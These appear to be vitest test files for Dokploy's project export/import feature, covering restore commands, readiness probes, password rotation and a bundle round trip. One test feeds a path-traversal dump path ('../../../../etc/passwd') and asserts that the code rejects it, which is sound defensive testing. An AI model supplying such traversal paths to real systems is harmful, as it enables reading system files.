expect(command).not.toContain("not-the-root-password");
});
it("strips USE/CREATE DATABASE statements for mariadb (multi-db dump safety)", () => {
const command = buildRestoreCommand(
"mariadb",
{
appName: "my-mariadb-abc123",
databaseName: "mydb",
databaseUser: "dokploy",
databasePassword: "pass",
},
"/tmp/dokploy-import-restore-mariadb-1.sql.gz",
);
expect(command).toContain("grep -viE");
});
it("restores the whole mongo archive through stdin, skipping admin/config, with --drop", () => {
const command = buildRestoreCommand(
"mongo",
{
appName: "my-mongo-abc123",
databaseUser: "dokploy",
databasePassword: "pass",
},
"/tmp/dokploy-import-restore-mongo-1.archive.gz",
);
expect(command).toContain(
'mongorestore -u "$DB_USER" -p "$DB_PASS" --authenticationDatabase admin --nsExclude "admin.*" --nsExclude "config.*" --archive --gzip --drop',
);
expect(command).toContain(
"< '/tmp/dokploy-import-restore-mongo-1.archive.gz'",
);
expect(command).not.toContain("--db");
});
});
describe("buildRestoreCommand for libsql", () => {
it("replaces sqld's data directory from the tarball and restarts the service", () => {
const command = buildRestoreCommand(
"libsql",
{ appName: "my-libsql-abc123" },
"/tmp/dokploy-import-restore-l.tar.gz",
);
expect(command).toContain(
"rm -rf /var/lib/sqld/iku.db && tar xzf - -C /var/lib/sqld",
);
expect(command).toContain("< '/tmp/dokploy-import-restore-l.tar.gz'");
expect(command).toContain(
"docker service update --force 'my-libsql-abc123'",
);
});
});
describe("buildReadyProbe", () => {
it("runs a credentialed query rather than a liveness ping", () => {
expect(
buildReadyProbe("postgres", { databaseUser: "u", databaseName: "d" }),
).toBe('psql -U u -d d -tAc "SELECT 1"');
expect(
buildReadyProbe("mysql", { databaseRootPassword: "r00t" }),
).toContain("mysql -uroot --password=r00t");
expect(
buildReadyProbe("mariadb", { databaseUser: "u", databasePassword: "p" }),
).toContain("mariadb -uu --password=p");
expect(
buildReadyProbe("mongo", {
databaseUser: "u",
databasePassword: "p",
databaseName: "d",
}),
).toContain(
'then mongosh --quiet -u u -p p --authenticationDatabase admin --eval "db.adminCommand({ping: 1}).ok"; else mongo ',
);
});
});
describe("waitUntilReady", () => {
it("needs consecutive successes so a first-init throwaway server doesn't count", async () => {
const { execAsync } = await import(
"@dokploy/server/utils/process/execAsync"
);
const previous = (execAsync as any).getMockImplementation();
const outcomes = [true, true, false, true, true, true];
let calls = 0;
(execAsync as any).mockImplementation(async (command: string) => {
if (!command.includes("SELECT 1")) return { stdout: "", stderr: "" };
const ok = outcomes[calls++] ?? true;
if (!ok) throw new Error("the database system is shutting down");
return { stdout: "1", stderr: "" };
});
try {
await waitUntilReady(null, "db-app", 'psql -tAc "SELECT 1"', {
intervalMs: 0,
stableSuccesses: 3,
});
} finally {
(execAsync as any).mockImplementation(previous);
}
expect(calls).toBe(6);
});
});
describe("buildWaitReadyScript", () => {
it("guards against an empty CONTAINER_ID before exec'ing the probe", () => {
const script = buildWaitReadyScript("my-db-abc123", "pg_isready");
expect(script).toContain('if [ -z "$CONTAINER_ID" ]; then exit 1; fi');
expect(script).toContain("docker exec");
expect(script).toContain("pg_isready");
});
});
const snapshot: Snapshot = {
manifest: {
format: "dokploy-project-export",
formatVersion: 1,
exportedAt: "2024-01-01T00:00:00.000Z",
exportedBy: { userId: "user-1", email: "a@b.com" },
sourceInstance: { dokployVersion: "1.0.0", organizationId: "org-1" },
scope: {
includeEnvSecrets: true,
shared: {},
files: {
applicationSources: false,
composeFiles: false,
traefikRaw: false,
customCertificates: false,
},
dumps: { mode: "embed" },
includeBackupSchedules: true,
},
crypto: {
salt: "c2FsdA==",
kdfParams: { N: 32768, r: 8, p: 1, dkLen: 64 },
keyCheck: "{}",
},
counts: {},
},
resources: {
project: {},
environments: [],
services: [],
shared: {},
},
requirements: [],
warnings: [],
dumps: [
{
serviceId: "pg-1",
serviceType: "postgres",
mode: "embed",
ext: "sql.gz",
path: "dumps/pg-1.sql.gz",
bytes: 100,
},
],
};
const dbFor = (): TransferDb =>
({
query: {
postgres: {
findFirst: async () => ({
postgresId: "pg-new-1",
appName: "my-db-new-1",
databaseName: "mydb",
databaseUser: "dokploy",
databasePassword: "p",
serverId: null,
}),
},
destinations: { findFirst: async () => undefined },
},
}) as any as TransferDb;
const resultFor = (): TransferResult =>
({
idMap: { postgres: { "pg-1": "pg-new-1" } },
}) as any as TransferResult;
describe("restoreDumps uses the workspace dump directly when it already sits on the target server", () => {
it("neither copies nor removes anything and restores from the workspace path", async () => {
failRestoreBox.value = false;
vi.mocked(remove).mockClear();
vi.mocked(copyFile).mockClear();
const errors = await restoreDumps(
dbFor(),
snapshot,
resultFor(),
{ serverId: null, path: "/tmp/work" },
{
readiness: { intervalMs: 0, stableSuccesses: 1 },
deploy: { postgres: async () => {} },
},
);
expect(errors).toHaveLength(0);
expect(copyFile).not.toHaveBeenCalled();
expect(remove).not.toHaveBeenCalled();
});
});
describe("restoreDumps cleans up the copied remote dump file (T-5.8)", () => {
it("removes the remote dump path after a successful restore", async () => {
failRestoreBox.value = false;
vi.mocked(remove).mockClear();
const errors = await restoreDumps(
dbFor(),
snapshot,
resultFor(),
{ serverId: "workspace-server", path: "/tmp/work" },
{
readiness: { intervalMs: 0, stableSuccesses: 1 },
deploy: { postgres: async () => {} },
},
);
expect(errors).toHaveLength(0);
expect(remove).toHaveBeenCalledWith({
serverId: null,
path: "/tmp/dokploy-import-restore-pg-new-1.sql.gz",
});
});
it("still removes the remote dump path when the restore command itself fails", async () => {
failRestoreBox.value = true;
vi.mocked(remove).mockClear();
const errors = await restoreDumps(
dbFor(),
snapshot,
resultFor(),
{ serverId: "workspace-server", path: "/tmp/work" },
{
readiness: { intervalMs: 0, stableSuccesses: 1 },
deploy: { postgres: async () => {} },
},
);
expect(errors).toHaveLength(1);
expect(remove).toHaveBeenCalledWith({
serverId: null,
path: "/tmp/dokploy-import-restore-pg-new-1.sql.gz",
});
failRestoreBox.value = false;
});
});
describe("restoreDumps rejects an unsafe dump.path (T-9.1)", () => {
it("never copies the dump and reports a restore error for a path-traversal dump.path", async () => {
vi.mocked(copyFile).mockClear();
const maliciousSnapshot: Snapshot = {
...snapshot,
dumps: [
{
serviceId: "pg-1",
serviceType: "postgres",
mode: "embed",
ext: "sql.gz",
path: "../../../../etc/passwd",
bytes: 100,
},
],
};
const errors = await restoreDumps(
dbFor(),
maliciousSnapshot,
resultFor(),
{ serverId: "workspace-server", path: "/tmp/work" },
{
readiness: { intervalMs: 0, stableSuccesses: 1 },
deploy: { postgres: async () => {} },
},
);
expect(copyFile).not.toHaveBeenCalled();
expect(errors).toHaveLength(1);
expect(errors[0]?.error).toContain("Unsafe path in bundle");
});
});
@@ -0,0 +1,583 @@
import {
applications,
mounts,
postgres,
projects,
} from "@dokploy/server/db/schema";
import type {
ExportScope,
Plan,
Snapshot,
TransferDb,
TransferWriteDb,
} from "@dokploy/server/services/project-export-import";
import {
apply,
buildPlan,
buildRotationPlan,
capture,
detectRequirements,
detectWarnings,
rotateText,
} from "@dokploy/server/services/project-export-import";
import { describe, expect, it } from "vitest";
describe("rotateText", () => {
it("replaces both the literal and URL-encoded form of the old password", () => {
const specs = [
{
serviceId: "pg-new-1",
serviceType: "postgres" as const,
field: "databasePassword" as const,
oldPassword: "p@ss",
newPassword: "n3wpass",
},
];
const { text, matched } = rotateText(
"DATABASE_URL=postgres://user:p%40ss@host/db",
specs,
);
expect(text).toBe("DATABASE_URL=postgres://user:n3wpass@host/db");
expect(matched).toHaveLength(1);
expect(matched[0]?.count).toBe(1);
});
it("counts multiple literal occurrences across the text", () => {
const specs = [
{
serviceId: "pg-new-1",
serviceType: "postgres" as const,
field: "databasePassword" as const,
oldPassword: "oldpass",
newPassword: "newpass",
},
];
const { text, matched } = rotateText(
"A=oldpass\nB=oldpass\nC=unrelated",
specs,
);
expect(text).toBe("A=newpass\nB=newpass\nC=unrelated");
expect(matched[0]?.count).toBe(2);
});
it("leaves text untouched and reports no match when the password isn't present", () => {
const specs = [
{
serviceId: "pg-new-1",
serviceType: "postgres" as const,
field: "databasePassword" as const,
oldPassword: "oldpass",
newPassword: "newpass",
},
];
const { text, matched } = rotateText("nothing to see here", specs);
expect(text).toBe("nothing to see here");
expect(matched).toHaveLength(0);
});
it("processes the longer old password first so a short password isn't spliced into a longer, unrelated one", () => {
const specs = [
{
serviceId: "svc-a",
serviceType: "postgres" as const,
field: "databasePassword" as const,
oldPassword: "secret",
newPassword: "A_NEW",
},
{
serviceId: "svc-b",
serviceType: "postgres" as const,
field: "databasePassword" as const,
oldPassword: "mysecret123",
newPassword: "B_NEW",
},
];
const { text } = rotateText(
"A=secret\nB=postgres://u:mysecret123@host/db",
specs,
);
expect(text).toBe("A=A_NEW\nB=postgres://u:B_NEW@host/db");
});
});
describe("buildRotationPlan", () => {
it("gives databasePassword and databaseRootPassword the same new value when the source used the same value for both", async () => {
const tx = {
query: {
mysql: {
findFirst: async () => ({
mysqlId: "mysql-new-1",
databasePassword: "sharedpass",
databaseRootPassword: "sharedpass",
}),
},
},
} as any;
const snapshot = {
resources: {
services: [
{
kind: "mysql",
mysqlId: "mysql-old-1",
},
],
},
} as any;
const serviceIdMap = { mysql: { "mysql-old-1": "mysql-new-1" } };
const { specs } = await buildRotationPlan(tx, snapshot, serviceIdMap);
expect(specs).toHaveLength(2);
const appSpec = specs.find((s) => s.field === "databasePassword");
const rootSpec = specs.find((s) => s.field === "databaseRootPassword");
expect(appSpec?.newPassword).toBeDefined();
expect(appSpec?.newPassword).toBe(rootSpec?.newPassword);
const { text } = rotateText(
"MYSQL_ROOT_PASSWORD=sharedpass\nMYSQL_PASSWORD=sharedpass",
specs,
);
expect(text).toBe(
`MYSQL_ROOT_PASSWORD=${rootSpec?.newPassword}\nMYSQL_PASSWORD=${appSpec?.newPassword}`,
);
});
it("keeps a password that is too short or equal to the user/name and reports it", async () => {
const tx = {
query: {
postgres: {
findFirst: async () => ({
postgresId: "pg-new-1",
databaseUser: "app",
databaseName: "app",
databasePassword: "app",
}),
},
},
} as any;
const snapshot = {
resources: {
services: [
{
kind: "postgres",
postgresId: "pg-old-1",
name: "db",
environmentId: "env-1",
},
],
},
} as any;
const { specs, unsafe } = await buildRotationPlan(tx, snapshot, {
postgres: { "pg-old-1": "pg-new-1" },
});
expect(specs).toHaveLength(0);
expect(unsafe).toEqual([
expect.objectContaining({
serviceId: "pg-new-1",
serviceType: "postgres",
}),
]);
});
it("keeps a mysql service whose root password is too short", async () => {
const tx = {
query: {
mysql: {
findFirst: async () => ({
mysqlId: "my-new-1",
databaseUser: "app",
databaseName: "app",
databasePassword: "long-enough-password",
databaseRootPassword: "1",
}),
},
},
} as any;
const snapshot = {
resources: {
services: [
{
kind: "mysql",
mysqlId: "my-old-1",
name: "db",
environmentId: "env-1",
},
],
},
} as any;
const { specs, unsafe } = await buildRotationPlan(tx, snapshot, {
mysql: { "my-old-1": "my-new-1" },
});
expect(specs).toHaveLength(0);
expect(unsafe).toHaveLength(1);
});
it("still generates independent new passwords when app and root passwords differ", async () => {
const tx = {
query: {
mysql: {
findFirst: async () => ({
mysqlId: "mysql-new-1",
databasePassword: "app-pass",
databaseRootPassword: "root-pass",
}),
},
},
} as any;
const snapshot = {
resources: {
services: [{ kind: "mysql", mysqlId: "mysql-old-1" }],
},
} as any;
const serviceIdMap = { mysql: { "mysql-old-1": "mysql-new-1" } };
const { specs } = await buildRotationPlan(tx, snapshot, serviceIdMap);
const appSpec = specs.find((s) => s.field === "databasePassword");
const rootSpec = specs.find((s) => s.field === "databaseRootPassword");
expect(appSpec?.newPassword).not.toBe(rootSpec?.newPassword);
});
});
const applicationWithDbRef = {
applicationId: "app-1",
name: "my-app",
appName: "my-app-abc123",
environmentId: "env-1",
env: "DATABASE_URL=postgres://u:realdbpassword123@db/mydb",
buildArgs: "BUILD_DB_PASS=realdbpassword123",
buildSecrets: null,
previewEnv: null,
serverId: null,
buildServerId: null,
githubId: null,
gitlabId: null,
giteaId: null,
bitbucketId: null,
refreshToken: "webhook-token",
registryId: null,
buildRegistryId: null,
rollbackRegistryId: null,
customGitSSHKeyId: null,
customGitSSHKey: null,
networkIds: [],
owner: null,
repository: null,
sourceType: "docker",
autoDeploy: false,
isPreviewDeploymentsActive: false,
createdAt: "2024-01-01T00:00:00.000Z",
domains: [],
mounts: [
{
mountId: "mount-1",
type: "file",
content: "password = realdbpassword123",
mountPath: "/etc/app.conf",
serviceType: "application",
createdAt: "2024-01-01",
},
],
redirects: [],
security: [],
ports: [],
schedules: [],
volumeBackups: [],
};
const applicationWithoutDbRef = {
...applicationWithDbRef,
applicationId: "app-2",
appName: "my-app-two-def456",
name: "my-app-two",
env: "UNRELATED=1",
buildArgs: null,
mounts: [],
};
const postgresService = {
postgresId: "pg-1",
name: "my-db",
appName: "my-db-xyz789",
environmentId: "env-1",
env: "",
databasePassword: "realdbpassword123",
serverId: null,
createdAt: "2024-01-01T00:00:00.000Z",
mounts: [],
backups: [],
volumeBackups: [],
};
const emptyServiceArrays = {
mysql: [],
mariadb: [],
mongo: [],
redis: [],
libsql: [],
compose: [],
};
const projectTree = {
projectId: "project-1",
name: "my-project",
organizationId: "org-src",
env: "",
createdAt: "2024-01-01T00:00:00.000Z",
environments: [
{
environmentId: "env-1",
name: "production",
projectId: "project-1",
env: "",
isDefault: true,
createdAt: "2024-01-01T00:00:00.000Z",
applications: [applicationWithDbRef, applicationWithoutDbRef],
postgres: [postgresService],
...emptyServiceArrays,
},
],
};
const readDb = (): TransferDb =>
({
query: {
projects: { findFirst: async () => projectTree },
environments: { findFirst: async () => undefined },
applications: {
findMany: async () => [applicationWithDbRef, applicationWithoutDbRef],
findFirst: async () => undefined,
},
schedules: { findMany: async () => [] },
volumeBackups: { findMany: async () => [] },
vaultProvider: { findMany: async () => [] },
registry: { findMany: async () => [] },
destinations: { findMany: async () => [] },
network: { findMany: async () => [] },
certificates: { findMany: async () => [] },
gitProvider: { findMany: async () => [] },
server: {
findMany: async () => [],
findFirst: async () => ({ organizationId: "org-dest" }),
},
webServerSettings: { findFirst: async () => undefined },
sshKeys: { findMany: async () => [] },
},
}) as any as TransferDb;
const baseScope: ExportScope = {
includeEnvSecrets: true,
shared: {},
files: {
applicationSources: false,
composeFiles: false,
traefikRaw: false,
customCertificates: false,
},
dumps: { mode: "none" },
includeBackupSchedules: true,
};
const runApplyForRotationTest = async (rotateDatabaseCredentials: boolean) => {
const db = readDb();
const captureResult = await capture(
db,
{ kind: "project", id: "project-1" },
baseScope,
{
detectRequirements: (tree, scope) => detectRequirements(db, tree, scope),
detectWarnings: (tree, scope) => detectWarnings(tree, scope),
},
);
const snapshot: Snapshot = {
manifest: {
format: "dokploy-project-export",
formatVersion: 1,
exportedAt: "2024-01-01T00:00:00.000Z",
exportedBy: { userId: "user-1", email: "a@b.com" },
sourceInstance: { dokployVersion: "1.0.0", organizationId: "org-src" },
scope: baseScope,
crypto: {
salt: "c2FsdA==",
kdfParams: { N: 32768, r: 8, p: 1, dkLen: 64 },
keyCheck: "{}",
},
counts: captureResult.inventory.totals,
},
resources: captureResult.resources,
requirements: captureResult.requirements,
warnings: captureResult.warnings,
dumps: [],
};
const plan: Plan = await buildPlan(
db,
snapshot,
"org-dest",
{ kind: "newProject", name: "imported-project" },
{ rotateDatabaseCredentials },
);
const insertedByTable = new Map<unknown, Record<string, unknown>[]>();
let counter = 0;
const idFieldByTable = new Map<unknown, string>([
[projects, "projectId"],
[applications, "applicationId"],
[postgres, "postgresId"],
[mounts, "mountId"],
]);
const environmentsTable = (await import("@dokploy/server/db/schema"))
.environments;
idFieldByTable.set(environmentsTable, "environmentId");
const writeDb = {
query: {
vaultProvider: { findFirst: async () => undefined },
github: { findFirst: async () => undefined },
gitlab: { findFirst: async () => undefined },
gitea: { findFirst: async () => undefined },
bitbucket: { findFirst: async () => undefined },
applications: {
findFirst: async () => (insertedByTable.get(applications) ?? [])[0],
},
postgres: {
findFirst: async () => (insertedByTable.get(postgres) ?? [])[0],
},
server: { findFirst: async () => undefined },
webServerSettings: { findFirst: async () => undefined },
mounts: {
findMany: async (args?: { where?: unknown }) =>
(insertedByTable.get(mounts) ?? []).filter((row) =>
args?.where ? row.type === "file" : true,
),
},
projects: {
findFirst: async () => (insertedByTable.get(projects) ?? [])[0],
},
environments: {
findFirst: async () =>
(insertedByTable.get(environmentsTable) ?? [])[0],
},
compose: { findFirst: async () => undefined },
},
insert: (table: unknown) => ({
values: (values: Record<string, unknown>) => {
const idField = idFieldByTable.get(table);
const row = { ...values };
if (idField) {
row[idField] =
(values[idField] as string | undefined) ??
`new-${idField}-${++counter}`;
}
const list = insertedByTable.get(table) ?? [];
list.push(row);
insertedByTable.set(table, list);
return { returning: async () => [row] };
},
}),
update: (table: unknown) => ({
set: (values: Record<string, unknown>) => ({
where: async (condition: any) => {
const chunks = condition?.queryChunks ?? [];
const paramChunk = chunks.find(
(c: any) => c?.constructor?.name === "Param",
);
const columnChunk = chunks.find(
(c: any) => typeof c?.name === "string",
);
const list = insertedByTable.get(table) ?? [];
for (const row of list) {
if (
!columnChunk ||
!paramChunk ||
row[columnChunk.name] === paramChunk.value
) {
Object.assign(row, values);
}
}
},
}),
}),
transaction: async (fn: (tx: unknown) => Promise<unknown>) => {
return fn({ ...writeDb });
},
} as any as TransferWriteDb;
const result = await apply(
writeDb,
snapshot,
plan,
captureResult.secretsPlain,
"org-dest",
);
return {
result,
insertedPostgres: (insertedByTable.get(postgres) ?? [])[0] as Record<
string,
unknown
>,
insertedApps: insertedByTable.get(applications) ?? [],
insertedMounts: insertedByTable.get(mounts) ?? [],
};
};
describe("apply() with rotateDatabaseCredentials (opt-in)", () => {
it("rotates the postgres password, rewrites the referencing app's env, build args and file mount, and warns about the app with no reference", async () => {
const { result, insertedPostgres, insertedApps, insertedMounts } =
await runApplyForRotationTest(true);
expect(insertedPostgres.databasePassword).not.toBe("realdbpassword123");
expect(typeof insertedPostgres.databasePassword).toBe("string");
const referencingApp = insertedApps.find(
(a) => a.applicationId === result.idMap.application?.["app-1"],
);
const nonReferencingApp = insertedApps.find(
(a) => a.applicationId === result.idMap.application?.["app-2"],
);
expect(String(referencingApp?.env)).toContain(
String(insertedPostgres.databasePassword),
);
expect(String(referencingApp?.env)).not.toContain("realdbpassword123");
expect(String(referencingApp?.buildArgs)).toBe(
`BUILD_DB_PASS=${insertedPostgres.databasePassword}`,
);
expect(String(insertedMounts[0]?.content)).toBe(
`password = ${insertedPostgres.databasePassword}`,
);
expect(String(nonReferencingApp?.env)).toBe("UNRELATED=1");
expect(result.rotations).toHaveLength(1);
expect(result.rotations[0]).toMatchObject({
field: "databasePassword",
occurrences: 3,
});
expect(
result.warnings.some((w) => w.code === "ROTATION_CHECK_CONSUMERS"),
).toBe(true);
});
it("leaves the password untouched when rotateDatabaseCredentials is false (the default)", async () => {
const { result, insertedPostgres, insertedApps } =
await runApplyForRotationTest(false);
expect(insertedPostgres.databasePassword).toBe("realdbpassword123");
const referencingApp = insertedApps.find(
(a) => a.applicationId === result.idMap.application?.["app-1"],
);
expect(String(referencingApp?.env)).toContain("realdbpassword123");
expect(result.rotations).toHaveLength(0);
expect(
result.warnings.some((w) => w.code === "ROTATION_CHECK_CONSUMERS"),
).toBe(false);
});
});
@@ -0,0 +1,468 @@
import { mkdtemp, rm } from "node:fs/promises";
import { tmpdir } from "node:os";
import { join } from "node:path";
import {
applications,
compose,
domains,
mounts,
ports,
projects,
registry,
schedules,
security,
} from "@dokploy/server/db/schema";
import type {
ExportScope,
TransferDb,
TransferWriteDb,
} from "@dokploy/server/services/project-export-import";
import {
apply,
buildPlan,
capture,
detectRequirements,
detectWarnings,
inspectBundle,
LOCAL_SERVER_CANDIDATE_ID,
serialize,
unlockBundle,
} from "@dokploy/server/services/project-export-import";
import { afterEach, beforeEach, describe, expect, it } from "vitest";
const local = (path: string) => ({ serverId: null, path });
const PASSPHRASE = "correct-horse-battery-staple";
const application = {
applicationId: "app-1",
name: "my-app",
appName: "my-app-abc123",
environmentId: "env-1",
env: "DB_PASS=${{vault.prod.DB_PASS}}\nAPI_TOKEN=abc123token",
buildArgs: null,
buildSecrets: null,
previewEnv: null,
serverId: null,
buildServerId: null,
githubId: null,
gitlabId: null,
giteaId: null,
bitbucketId: null,
refreshToken: "webhook-token",
registryId: "registry-src-1",
buildRegistryId: null,
rollbackRegistryId: null,
customGitSSHKeyId: null,
customGitSSHKey: null,
networkIds: [],
owner: null,
repository: null,
sourceType: "docker",
autoDeploy: false,
isPreviewDeploymentsActive: false,
createdAt: "2024-01-01T00:00:00.000Z",
domains: [
{ domainId: "dom-1", host: "app-1.example.com", createdAt: "2024-01-01" },
],
mounts: [
{
mountId: "mount-1",
type: "file",
content: "server { listen 80; }",
mountPath: "/etc/nginx/nginx.conf",
serviceType: "application",
createdAt: "2024-01-01",
},
],
redirects: [],
security: [
{
securityId: "sec-1",
username: "admin",
password: "basicauthpass",
createdAt: "2024-01-01",
},
],
ports: [
{
portId: "port-1",
publishedPort: 8080,
publishMode: "host",
targetPort: 80,
protocol: "tcp",
},
],
schedules: [],
volumeBackups: [],
};
const composeService = {
composeId: "compose-1",
name: "my-compose",
appName: "my-compose-def456",
environmentId: "env-1",
env: "",
serverId: null,
composeFile: "services:\n web:\n image: nginx\n",
sourceType: "raw",
composeType: "docker-compose",
createdAt: "2024-01-01T00:00:00.000Z",
domains: [],
mounts: [],
backups: [],
schedules: [
{
scheduleId: "schedule-1",
name: "nightly-restart",
cronExpression: "0 0 * * *",
shellType: "bash",
scheduleType: "compose",
command: "docker compose restart",
createdAt: "2024-01-01T00:00:00.000Z",
},
],
volumeBackups: [],
};
const emptyServiceArrays = {
postgres: [],
mysql: [],
mariadb: [],
mongo: [],
redis: [],
libsql: [],
};
const projectTree = {
projectId: "project-1",
name: "my-project",
organizationId: "org-src",
env: "",
createdAt: "2024-01-01T00:00:00.000Z",
environments: [
{
environmentId: "env-1",
name: "production",
projectId: "project-1",
env: "",
isDefault: true,
createdAt: "2024-01-01T00:00:00.000Z",
applications: [application],
compose: [composeService],
...emptyServiceArrays,
},
],
};
const readDb = (): TransferDb =>
({
query: {
projects: { findFirst: async () => projectTree },
environments: { findFirst: async () => undefined },
applications: {
findMany: async () => [application],
findFirst: async () => undefined,
},
schedules: { findMany: async () => [] },
volumeBackups: { findMany: async () => [] },
vaultProvider: {
findMany: async () => [
{
vaultProviderId: "vault-dest-1",
name: "prod",
providerType: "hashicorp",
organizationId: "org-dest",
},
],
},
registry: {
findMany: async () => [
{
registryId: "registry-src-1",
registryName: "Acme",
registryUrl: "https://registry.example.com",
imagePrefix: "acme",
username: "user",
password: "pass",
organizationId: "org-src",
},
],
findFirst: async () => ({
registryId: "registry-src-1",
registryName: "Acme",
registryUrl: "https://registry.example.com",
imagePrefix: "acme",
username: "user",
password: "pass",
organizationId: "org-src",
}),
},
destinations: { findMany: async () => [] },
network: { findMany: async () => [] },
certificates: { findMany: async () => [] },
gitProvider: { findMany: async () => [] },
server: {
findMany: async () => [],
findFirst: async () => ({ organizationId: "org-dest" }),
},
webServerSettings: { findFirst: async () => undefined },
sshKeys: { findMany: async () => [] },
domains: { findMany: async () => [] },
postgres: {
findMany: async () => [],
findFirst: async () => undefined,
},
mysql: {
findMany: async () => [],
findFirst: async () => undefined,
},
mariadb: {
findMany: async () => [],
findFirst: async () => undefined,
},
mongo: {
findMany: async () => [],
findFirst: async () => undefined,
},
redis: {
findMany: async () => [],
findFirst: async () => undefined,
},
libsql: {
findMany: async () => [],
findFirst: async () => undefined,
},
ports: { findMany: async () => [] },
},
}) as any as TransferDb;
const baseScope: ExportScope = {
includeEnvSecrets: true,
shared: { registry: "value" },
files: {
applicationSources: false,
composeFiles: false,
traefikRaw: false,
customCertificates: false,
},
dumps: { mode: "none" },
includeBackupSchedules: true,
};
let workDir: string;
let outDir: string;
let extractDir: string;
beforeEach(async () => {
workDir = await mkdtemp(join(tmpdir(), "transfer-roundtrip-work-"));
outDir = await mkdtemp(join(tmpdir(), "transfer-roundtrip-out-"));
extractDir = await mkdtemp(join(tmpdir(), "transfer-roundtrip-extract-"));
});
afterEach(async () => {
await rm(workDir, { recursive: true, force: true });
await rm(outDir, { recursive: true, force: true });
await rm(extractDir, { recursive: true, force: true });
});
describe("transfer roundtrip: capture -> serialize -> deserialize -> plan -> apply", () => {
it("re-creates the project with equivalent values, remapped ids/appNames/serverId, and no plaintext secrets anywhere along the way", async () => {
const db = readDb();
const captureResult = await capture(
db,
{ kind: "project", id: "project-1" },
baseScope,
{
detectRequirements: (tree, scope) =>
detectRequirements(db, tree, scope),
detectWarnings: (tree, scope) => detectWarnings(tree, scope),
},
);
const bundlePath = join(outDir, "bundle.dokploy.tar.gz");
await serialize(
{
resources: captureResult.resources,
inventory: captureResult.inventory,
requirements: captureResult.requirements,
warnings: captureResult.warnings,
dumps: [],
scope: baseScope,
organizationId: "org-src",
dokployVersion: "1.0.0-test",
exportedBy: { userId: "user-1", email: "a@b.com" },
},
captureResult.secretsPlain,
PASSPHRASE,
local(workDir),
local(bundlePath),
);
await inspectBundle(local(bundlePath), local(extractDir));
const unlocked = await unlockBundle(local(extractDir), PASSPHRASE);
const plan = await buildPlan(
db,
unlocked.snapshot,
"org-dest",
{ kind: "newProject", name: "imported-project" },
{
resolutions: {
"server:null": {
requirementKey: "server:null",
action: "reuse",
targetId: LOCAL_SERVER_CANDIDATE_ID,
},
},
},
);
expect(
plan.resolutions[
Object.keys(plan.resolutions).find((k) => k.startsWith("vault:"))!
]?.action,
).toBe("reuse");
expect(
plan.resolutions[
Object.keys(plan.resolutions).find((k) => k.startsWith("registry:"))!
]?.action,
).toBe("reuse");
expect(plan.pendingServices).toEqual([]);
const insertedByTable = new Map<unknown, Record<string, unknown>[]>();
let counter = 0;
const idFieldByTable = new Map<unknown, string>([
[projects, "projectId"],
[applications, "applicationId"],
[compose, "composeId"],
[domains, "domainId"],
[mounts, "mountId"],
[ports, "portId"],
[security, "securityId"],
[registry, "registryId"],
[schedules, "scheduleId"],
]);
const environmentsTable = (await import("@dokploy/server/db/schema"))
.environments;
idFieldByTable.set(environmentsTable, "environmentId");
const writeDb = {
query: {
vaultProvider: {
findFirst: async () => ({
vaultProviderId: "vault-dest-1",
name: "prod",
organizationId: "org-dest",
assignments: [],
}),
},
registry: {
findFirst: async () => ({
registryId: "registry-dest-1",
organizationId: "org-dest",
}),
},
github: { findFirst: async () => undefined },
gitlab: { findFirst: async () => undefined },
gitea: { findFirst: async () => undefined },
bitbucket: { findFirst: async () => undefined },
server: { findFirst: async () => undefined },
webServerSettings: { findFirst: async () => undefined },
mounts: { findMany: async () => [] },
},
insert: (table: unknown) => ({
values: (values: Record<string, unknown>) => {
const idField = idFieldByTable.get(table);
const row = { ...values };
if (idField) {
row[idField] =
(values[idField] as string | undefined) ??
`new-${idField}-${++counter}`;
}
const list = insertedByTable.get(table) ?? [];
list.push(row);
insertedByTable.set(table, list);
return { returning: async () => [row] };
},
}),
update: () => ({ set: () => ({ where: async () => {} }) }),
transaction: async (fn: (tx: unknown) => Promise<unknown>) => {
const tx = { ...writeDb };
return fn(tx);
},
} as any as TransferWriteDb;
const result = await apply(
writeDb,
unlocked.snapshot,
plan,
unlocked.secretsPlain,
"org-dest",
);
const projectRow = (insertedByTable.get(projects) ?? [])[0] as Record<
string,
unknown
>;
expect(projectRow.projectId).not.toBe("project-1");
// The shared fake db also reports "imported-project" as an existing project, so the name conflict is auto-renamed.
expect(projectRow.name).toBe("imported-project (imported)");
expect(result.idMap.project?.["project-1"]).toBe(projectRow.projectId);
const insertedApp = (insertedByTable.get(applications) ?? [])[0] as Record<
string,
unknown
>;
expect(insertedApp.applicationId).not.toBe("app-1");
expect(insertedApp.appName).not.toBe("my-app-abc123");
expect(insertedApp.env).toBe(
"DB_PASS=${{vault.prod.DB_PASS}}\nAPI_TOKEN=abc123token",
);
expect(insertedApp.registryId).toBe("registry-src-1");
expect(insertedByTable.get(registry) ?? []).toHaveLength(0);
const insertedCompose = (insertedByTable.get(compose) ?? [])[0] as Record<
string,
unknown
>;
expect(insertedCompose.composeId).not.toBe("compose-1");
expect(insertedCompose.appName).not.toBe("my-compose-def456");
expect(insertedCompose.composeFile).toBe(composeService.composeFile);
const insertedSchedule = (insertedByTable.get(schedules) ?? [])[0] as
| Record<string, unknown>
| undefined;
expect(insertedSchedule?.composeId).toBe(insertedCompose.composeId);
expect(insertedSchedule?.organizationId).toBe("org-dest");
const insertedDomain = (insertedByTable.get(domains) ?? [])[0] as Record<
string,
unknown
>;
expect(insertedDomain.host).toBe("app-1.example.com");
expect(insertedDomain.applicationId).toBe(insertedApp.applicationId);
const insertedMount = (insertedByTable.get(mounts) ?? [])[0] as Record<
string,
unknown
>;
expect(insertedMount.content).toBe("server { listen 80; }");
const insertedSecurity = (insertedByTable.get(security) ?? [])[0] as Record<
string,
unknown
>;
expect(insertedSecurity.password).toBe("basicauthpass");
const insertedPort = (insertedByTable.get(ports) ?? [])[0] as Record<
string,
unknown
>;
expect(insertedPort.publishedPort).toBe(8080);
const serializedInserts = JSON.stringify([...insertedByTable.values()]);
expect(serializedInserts).not.toContain("$secret:");
expect(serializedInserts).not.toContain("webhook-token");
}, 30_000);
});
@@ -0,0 +1,577 @@
import { describe, expect, it, vi } from "vitest";
const local = (path: string) => ({ serverId: null, path });
vi.mock("@/server/utils/billing", () => ({
getCurrentPlan: vi.fn(async () => null),
}));
vi.mock(
"@dokploy/server/services/project-export-import",
async (importOriginal) => {
const actual =
await importOriginal<
typeof import("@dokploy/server/services/project-export-import")
>();
return {
...actual,
assertTransferPermission: vi.fn(async () => ({ role: "owner" })),
validatePlan: vi.fn(async () => []),
inspectBundle: vi.fn(async () => {
throw new Error("inspectBundle not stubbed for this test");
